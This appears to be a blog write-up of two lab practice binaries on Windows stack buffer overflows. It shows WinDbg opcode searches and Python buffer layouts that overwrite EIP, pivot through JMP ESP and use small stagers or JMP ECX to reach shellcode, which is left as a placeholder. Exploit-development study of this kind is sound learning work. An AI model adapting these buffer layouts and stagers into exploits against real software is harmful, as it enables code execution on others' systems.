I have been revisiting exploit-development fundamentals: simple stack overflows, register state, bad characters, debugger practice, and the small decisions that turn a crash into reliable control flow. This post keeps the scope narrow so the mechanics remain visible.
These two practice binaries had a similar theme. In both cases, controlling EIP was easy. The interesting part was dealing with limited space near the instruction pointer and using the process state to land somewhere more useful.
This is lab-only material. The point is to understand the mechanics in a controlled environment: what the overwritten return address gives you, what the registers already contain, and how small stagers can bridge the gap between those two things.
Lab one: restore ESP and jump to a larger buffer
The first binary provided a straightforward EIP overwrite, and the usual offset-finding process identified where control was gained.

The loaded process binary did not have ASLR enabled, so a JMP ESP instruction was available in a predictable module range.
If you do not remember the bytes for JMP ESP, msf-nasm_shell is a quick way to confirm that the opcode is ff e4. In WinDbg, the search looked like this:
0:006> s -b 14800000 14816000 0xff 0xe4
148010cf ff e4 83 7d f8 00 75 03-58 5b c3 5b 8b e5 5d c3 ...}..u.X[.[..].

The catch was that the buffer referenced by ESP was too small for the full payload. A larger user-controlled buffer was visible elsewhere on the stack, so the exploit used a tiny stage-one sequence to move execution there:
- Save the original
ESPvalue inEAX. - Add to
ESPuntil it points into the larger buffer. - Jump to
ESPagain. - In stage two, restore
ESPfromEAX. - Execute the payload from the larger controlled region.
The useful shape of the buffer was:
buffer = b"\x90" * 500
buffer += b"\x89\xC4" # Stage 2: mov esp, eax
buffer += shellcode
buffer += b"\x90" * padding
buffer += b"\xcf\x10\x80\x14" # Stage 1: JMP ESP at 0x148010cf
buffer += b"\x90" * 14
buffer += b"\x89\xE0" # Stage 1: mov eax, esp
buffer += b"\x83\xc4\x5e" # Stage 1: add esp, 0x5e
buffer += b"\x83\xc4\x5e"
buffer += b"\x83\xc4\x5e"
buffer += b"\xff\xe4" # Stage 1: jmp esp
buffer += b"C" * trailing_padding
The important lesson was not the exact offsets. It was the stack hygiene. If you move ESP as part of a staging trick, think about whether the payload expects a sane stack pointer afterward. In this case, saving and restoring ESP made the later stage more reliable.
Lab two: use the register state that already exists
The second binary had an even tighter space constraint. The EIP overwrite landed right at the back of the input, leaving very little room to keep moving forward in a normal serial layout.

At the crash, ECX already pointed to the start of the user-controlled buffer. That made JMP ECX attractive. Unfortunately, there was no suitable JMP ECX instruction in an unprotected loaded module:
0:008> lm m examplebinary2
Browse full module list
start end module name
14800000 14816000 examplebinary2 C (no symbols)
0:008> s -b 14800000 14816000 0xff 0xe1
There was, however, a usable JMP ESP:
0:008> s -b 14800000 14816000 0xff 0xe4
1480113d ff e4 83 7d ec 00 75 03-58 5b c3 5b 8b e5 5d c3 ...}..u.X[.[..].
That was enough. The small space after EIP could hold a manually supplied JMP ECX opcode (ff e1). The exploit could therefore:
- Fill the beginning of the input with NOPs and shellcode.
- Overwrite EIP with the address of
JMP ESP. - Land in the tiny space after EIP.
- Execute
JMP ECX. - Return to the larger controlled buffer at the beginning of the input.
The core buffer layout became:
buffer = b"\x90" * 400
buffer += shellcode
buffer += b"\x90" * (2080 - 400 - len(shellcode))
buffer += b"\x3d\x11\x80\x14" # JMP ESP at 0x1480113d
buffer += b"\xff\xe1" # JMP ECX; ECX points near the start of the input
buffer += b"\x90" * (2096 - 2080 - 4 - 2)
This is a nice reminder to look at the full register state instead of fixating on one classic primitive. JMP ESP is useful, but it is not magic. If another register already points to a better controlled region, a tiny bridge can be enough.
Takeaways
These were entry-level binaries, but they reinforced a few habits that matter in harder targets:
- Control of EIP is only the beginning; the nearby memory layout determines the next move.
- Register values left behind by the program can be more useful than the register you expected to use.
- A small available instruction sequence can be enough if you use it as a bridge.
- Stack pointer changes should be deliberate, especially if later code expects the stack to be usable.
- WinDbg is perfectly comfortable for this workflow once you build the muscle memory.
The practical question after a crash is always the same: where do I control bytes, what can I jump to safely, and what state do I need to preserve to make the next stage run?